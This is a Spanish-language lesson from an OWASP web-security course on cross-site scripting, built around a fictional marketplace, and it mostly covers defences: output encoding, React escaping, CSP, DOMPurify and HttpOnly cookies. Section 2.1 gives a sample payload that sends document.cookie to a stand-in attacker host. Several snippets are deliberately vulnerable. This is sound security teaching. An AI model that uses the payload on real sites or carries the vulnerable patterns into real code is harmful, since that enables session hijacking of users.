En la lección anterior vimos que el XSS es, en esencia, una inyección cuyo intérprete es el navegador: en lugar de colar SQL en la base de datos, el atacante cuela JavaScript que se ejecuta en el navegador de otra persona. Por eso el Top Ten 2021 lo integró dentro de A03. Pero el XSS tiene técnicas de prevención tan específicas (codificación de salida contextual, CSP, comportamiento de frameworks como React) que merece una lección propia, centrada en el front de BazarNube.

El impacto es grave porque el código se ejecuta con la identidad de la víctima: robo de tokens de sesión, acciones en su nombre, robo de datos que ve en pantalla, keylogging o defacement (alterar la página). En un marketplace con clientes y panel de administración, un XSS almacenado bien colocado puede comprometer cuentas de administración. Veremos los tres tipos clásicos sobre componentes reales de BazarNube.

Aviso legal y ético: los payloads son ilustrativos y con datos ficticios. Practica solo sobre sistemas propios o con autorización explícita.

Contenido

  1. Qué es XSS y por qué es peligroso
  2. Los tres tipos: reflejado, almacenado y basado en DOM
  3. Prevención 1: codificación de salida contextual
  4. Prevención 2: React escapa por defecto (y sus escapes)
  5. Prevención 3: Content Security Policy (CSP)
  6. Sanitización de HTML enriquecido
  7. Cookies de sesión y XSS
  8. Errores comunes, ejercicios y soluciones

  1. Qué es XSS y por qué es peligroso

Un XSS ocurre cuando la aplicación inserta datos controlados por el usuario en una página sin la codificación adecuada, de modo que el navegador los interpreta como marcado o script en lugar de como texto. El payload se ejecuta en el contexto de origen (mismo dominio) de la víctima, así que puede leer cookies no protegidas, el DOM, el localStorage, y hacer peticiones autenticadas a la API.

  1. Los tres tipos

flowchart TD
  A[Reflejado] --> A1[El payload viaja en la peticion y se refleja en la respuesta]
  B[Almacenado] --> B1[El payload se guarda en BD y se sirve a otros usuarios]
  C[Basado en DOM] --> C1[El JS del cliente escribe entrada no confiable en el DOM]

2.1 XSS reflejado en BazarNube

La página de resultados muestra el término buscado. Una versión antigua (renderizada en servidor) hacía:

// VULNERABLE (render en servidor): inserta q sin codificar
res.send(`<h1>Resultados para: ${req.query.q}</h1>`);

Con ?q=<script>fetch('https://malo.example/c?'+document.cookie)</script>, cualquiera que abra ese enlace ejecuta el script: sus cookies viajan al atacante. El enlace se distribuye por email o redes. Es reflejado porque el payload va en la petición y se "refleja" de vuelta.

2.2 XSS almacenado en BazarNube

Las reseñas de producto guardan el texto del cliente y lo muestran a todos los visitantes:

// ReviewList.jsx — VULNERABLE: inyecta HTML crudo de la resena
function Review({ review }) {
  return <div className="review"
    dangerouslySetInnerHTML={{ __html: review.body }} />;
}

Un cliente malicioso publica una reseña cuyo body es <img src=x onerror="/* robar sesion */">. A partir de ahí, todo el que vea el producto ejecuta el payload. El almacenado es el más peligroso: no requiere engañar a la víctima con un enlace; se sirve solo.

2.3 XSS basado en DOM

Aquí el servidor es inocente: el fallo está en el JavaScript del cliente, que toma datos no confiables y los escribe en el DOM de forma insegura.

// VULNERABLE (DOM-based): escribe el hash de la URL como HTML
document.getElementById('tab').innerHTML = location.hash.slice(1);

Con #<img src=x onerror=...>, el innerHTML ejecuta el payload sin que el servidor intervenga. La corrección es usar textContent (no interpreta HTML) o sanitizar.

  1. Prevención 1: codificación de salida contextual

La defensa central del XSS es codificar la salida según el contexto donde se inserta el dato. Un mismo valor requiere codificación distinta si va en HTML, en un atributo, en JavaScript o en una URL.

Contexto Codificación necesaria Ejemplo
Cuerpo HTML <&lt;, >&gt;, &&amp; <div>DATO</div>
Atributo HTML Codificar comillas y <,> <input value="DATO">
JavaScript Escapar según sintaxis JS / usar JSON var x = "DATO";
URL encodeURIComponent <a href="/x?q=DATO">
CSS Escapar según sintaxis CSS style="width:DATO"

La regla: codifica en el punto de salida, para el contexto de salida. Insertar datos en JavaScript o en manejadores de eventos (onclick="...") es especialmente peligroso; evítalo siempre que puedas.

  1. Prevención 2: React escapa por defecto

Buena noticia para el front de BazarNube: React escapa automáticamente todo lo que interpolas con { } en JSX. Esto es seguro:

// SEGURO: React codifica review.body como TEXTO
function Review({ review }) {
  return <div className="review">{review.body}</div>;
}

Aunque review.body contenga <script>..., React lo muestra como texto literal, no lo ejecuta. La mayoría de XSS en apps React aparecen cuando el desarrollador desactiva esta protección. Los escapes a vigilar:

  • dangerouslySetInnerHTML (el nombre ya avisa): inyecta HTML crudo. Solo con contenido sanitizado.
  • href/src con javascript:: <a href={userUrl}> permite javascript:alert(1). Valida el esquema (solo http/https).
  • Renderizar en dangerouslySetInnerHTML datos de la API asumiendo que "vienen de casa": la API puede servir datos que otro usuario introdujo (XSS almacenado).

Corrección de las reseñas

Si las reseñas son texto plano, la solución es trivial: usar {review.body} y borrar el dangerouslySetInnerHTML. Si necesitan formato (negrita, listas), hay que sanitizar (sección 6). Y validación de esquema para URLs de usuario:

// SEGURO: solo permitimos http(s) en enlaces de usuario
function safeUrl(u) {
  try { const p = new URL(u); return ['http:', 'https:'].includes(p.protocol) ? u : '#'; }
  catch { return '#'; }
}
<a href={safeUrl(review.authorSite)}>Web del autor</a>

  1. Prevención 3: Content Security Policy (CSP)

La CSP es una cabecera que indica al navegador de qué orígenes puede cargar y ejecutar recursos. Actúa como red de seguridad: aunque se cuele un XSS, una buena CSP impide que el payload cargue scripts externos o ejecute código inline.

// app.js — CSP en la API/gateway de BazarNube con helmet
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],          // nada de inline ni de dominios externos
    objectSrc: ["'none'"],
    baseUri: ["'self'"],
    frameAncestors: ["'none'"]      // anti-clickjacking
  }
}));

Con scriptSrc: 'self' y sin 'unsafe-inline', un <script> inyectado o un onerror="..." no se ejecutan, porque el navegador solo admite scripts servidos desde el propio origen. La CSP no sustituye a la codificación de salida (es defensa en profundidad), pero eleva mucho el listón. Evita 'unsafe-inline' y 'unsafe-eval'; si necesitas scripts inline concretos, usa nonces o hashes.

  1. Sanitización de HTML enriquecido

Cuando el usuario debe poder enviar HTML con formato (un editor de descripciones de producto para vendedores), no basta con codificar (perderías el formato) ni puedes confiar en la entrada. Se sanitiza con una librería que aplica una lista blanca de etiquetas/atributos permitidos:

// SEGURO: sanitizar antes de usar dangerouslySetInnerHTML
import DOMPurify from 'dompurify';
function ProductDescription({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'ul', 'li', 'p', 'br'],
    ALLOWED_ATTR: []
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

DOMPurify elimina <script>, manejadores on*, javascript: y cualquier etiqueta fuera de la lista blanca, dejando solo formato inofensivo. Nunca implementes tu propio sanitizador con expresiones regulares: es un problema notoriamente difícil y siempre hay bypass.

Necesidad del dato Técnica correcta
Texto plano (reseñas, nombres) Codificación de salida / { } de React
HTML con formato (descripciones) Sanitización con lista blanca (DOMPurify)
URL de usuario Validación de esquema http(s)
Nunca Concatenar en innerHTML/dangerouslySetInnerHTML sin sanitizar

  1. Cookies de sesión y XSS

Un objetivo típico del XSS es robar el token de sesión. Mitigación clave: marcar la cookie de sesión como HttpOnly, de modo que JavaScript no pueda leerla.

// SEGURO: cookie de sesion inaccesible desde JS
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: { httpOnly: true, secure: true, sameSite: 'lax' }
}));

HttpOnly neutraliza el robo de cookie vía document.cookie (aunque un XSS aún puede actuar en nombre de la víctima). Secure la limita a HTTPS y SameSite reduce el riesgo de CSRF. La gestión de sesiones se profundiza en A07 (03-09); aquí interesa como mitigación del impacto del XSS.

Errores Comunes y Consejos

  • Creer que "React es seguro" sin más. Lo es hasta que usas dangerouslySetInnerHTML, href con datos de usuario o eval.
  • Sanitizar en el cliente y confiar en ello para el servidor. La codificación/sanitización debe hacerse al renderizar; no confíes solo en filtros de entrada.
  • Filtrar solo <script>. Hay decenas de vectores (onerror, onload, javascript:, SVG...). Usa codificación de contexto o un sanitizador serio.
  • Escribir tu propio sanitizador con regex. Siempre tiene bypass. Usa DOMPurify.
  • CSP con 'unsafe-inline'. Anula gran parte de su valor. Usa nonces/hashes si necesitas inline.
  • Cookie de sesión sin HttpOnly. Regálale el token al atacante.
  • Consejo: aplica las tres capas juntas —codificación contextual, framework que escapa, y CSP— para defensa en profundidad.

Ejercicios

Ejercicio 1. Clasifica cada caso como reflejado, almacenado o basado en DOM: a) Un comentario guardado que ejecuta script en todos los visitantes. b) element.innerHTML = location.search. c) Un mensaje de error que repite un parámetro de la URL sin codificar.

Ejercicio 2. Este componente muestra el nombre público del vendedor, que el propio vendedor edita. ¿Es vulnerable? Corrígelo si hace falta.

<h2 dangerouslySetInnerHTML={{ __html: seller.displayName }} />

Ejercicio 3. Explica por qué una CSP con scriptSrc: ['self'] mitiga un <img src=x onerror="..."> inyectado, aunque el XSS haya conseguido inyectar el HTML.

Soluciones

Solución 1. a) almacenado; b) basado en DOM; c) reflejado.

Solución 2. Sí es vulnerable: el displayName, controlado por el vendedor, se inyecta como HTML crudo (XSS almacenado que afecta a todos los compradores). Como es solo texto, la corrección es no usar HTML crudo:

<h2>{seller.displayName}</h2>   // React lo escapa como texto

Solución 3. El onerror es un manejador inline. Sin 'unsafe-inline' en scriptSrc, el navegador se niega a ejecutar cualquier script inline, incluidos los manejadores de eventos inyectados. El HTML puede colarse, pero el código no se ejecuta. Por eso la CSP es una red de seguridad frente a XSS.

Conclusión

El XSS se combate en capas: codificación de salida contextual como base, un framework que escapa por defecto (React) usado con disciplina —vigilando dangerouslySetInnerHTML, esquemas de URL y sanitización con DOMPurify—, una CSP estricta como red de seguridad y cookies HttpOnly para reducir el impacto. Bien combinadas, hacen del XSS un problema raro y de bajo impacto.

Entrada de backlog — XSS: eliminado dangerouslySetInnerHTML en reseñas y nombre de vendedor; sanitización con DOMPurify en descripciones de vendedor; añadida CSP estricta con helmet; validación de esquema en URLs de usuario; cookies de sesión marcadas HttpOnly+Secure+SameSite.

Hasta aquí, los fallos de A01–A03 son en buena medida de implementación. Pero muchas brechas nacen antes de escribir una línea: en el diseño. La siguiente lección estrena una categoría de 2021, A04:2021 – Diseño Inseguro, donde repensaremos el flujo de cupones y checkout de BazarNube.

Curso de OWASP: Directrices y Estándares para la Seguridad en Aplicaciones Web

Módulo 1: Introducción a OWASP

Módulo 2: Principales Proyectos de OWASP

Módulo 3: OWASP Top Ten 2021 en Profundidad

Módulo 4: OWASP ASVS (Application Security Verification Standard)

Módulo 5: OWASP SAMM (Software Assurance Maturity Model)

Módulo 6: OWASP ZAP (Zed Attack Proxy)

Módulo 7: Buenas Prácticas y Recomendaciones

Módulo 8: Ejercicios Prácticos y Casos de Estudio

Módulo 9: Evaluación y Certificación

© Copyright 2026. Todos los derechos reservados